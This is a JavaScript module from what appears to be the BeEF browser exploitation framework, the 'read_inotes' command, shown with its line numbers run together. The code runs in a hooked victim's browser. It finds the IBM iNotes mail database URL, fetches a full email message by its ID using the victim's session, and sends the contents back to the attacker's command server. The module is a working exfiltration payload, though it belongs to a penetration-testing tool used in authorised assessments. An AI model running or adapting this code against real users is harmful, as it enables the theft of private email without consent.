Path: blob/master/modules/misc/ibm_inotes/read_inotes/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn [email protected]2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//15beef.execute(function() {16var unid = '<%= @unid %>';1718//get URL for this nsf databse19var currentURL = document.URL;20var rx = /(.*\.nsf)/g;21var arr = rx.exec(currentURL);2223try {24var notesURL = arr[1];2526var xhr = new XMLHttpRequest();27xhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true);28xhr.onreadystatechange = function () {29if (xhr.readyState == 4 && xhr.status == 200) {30beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);31}32}33xhr.send(null);34} catch(e) {35beef.debug("Error: " + e);36beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Read iNotes Error: "+e);37}3839});404142434445464748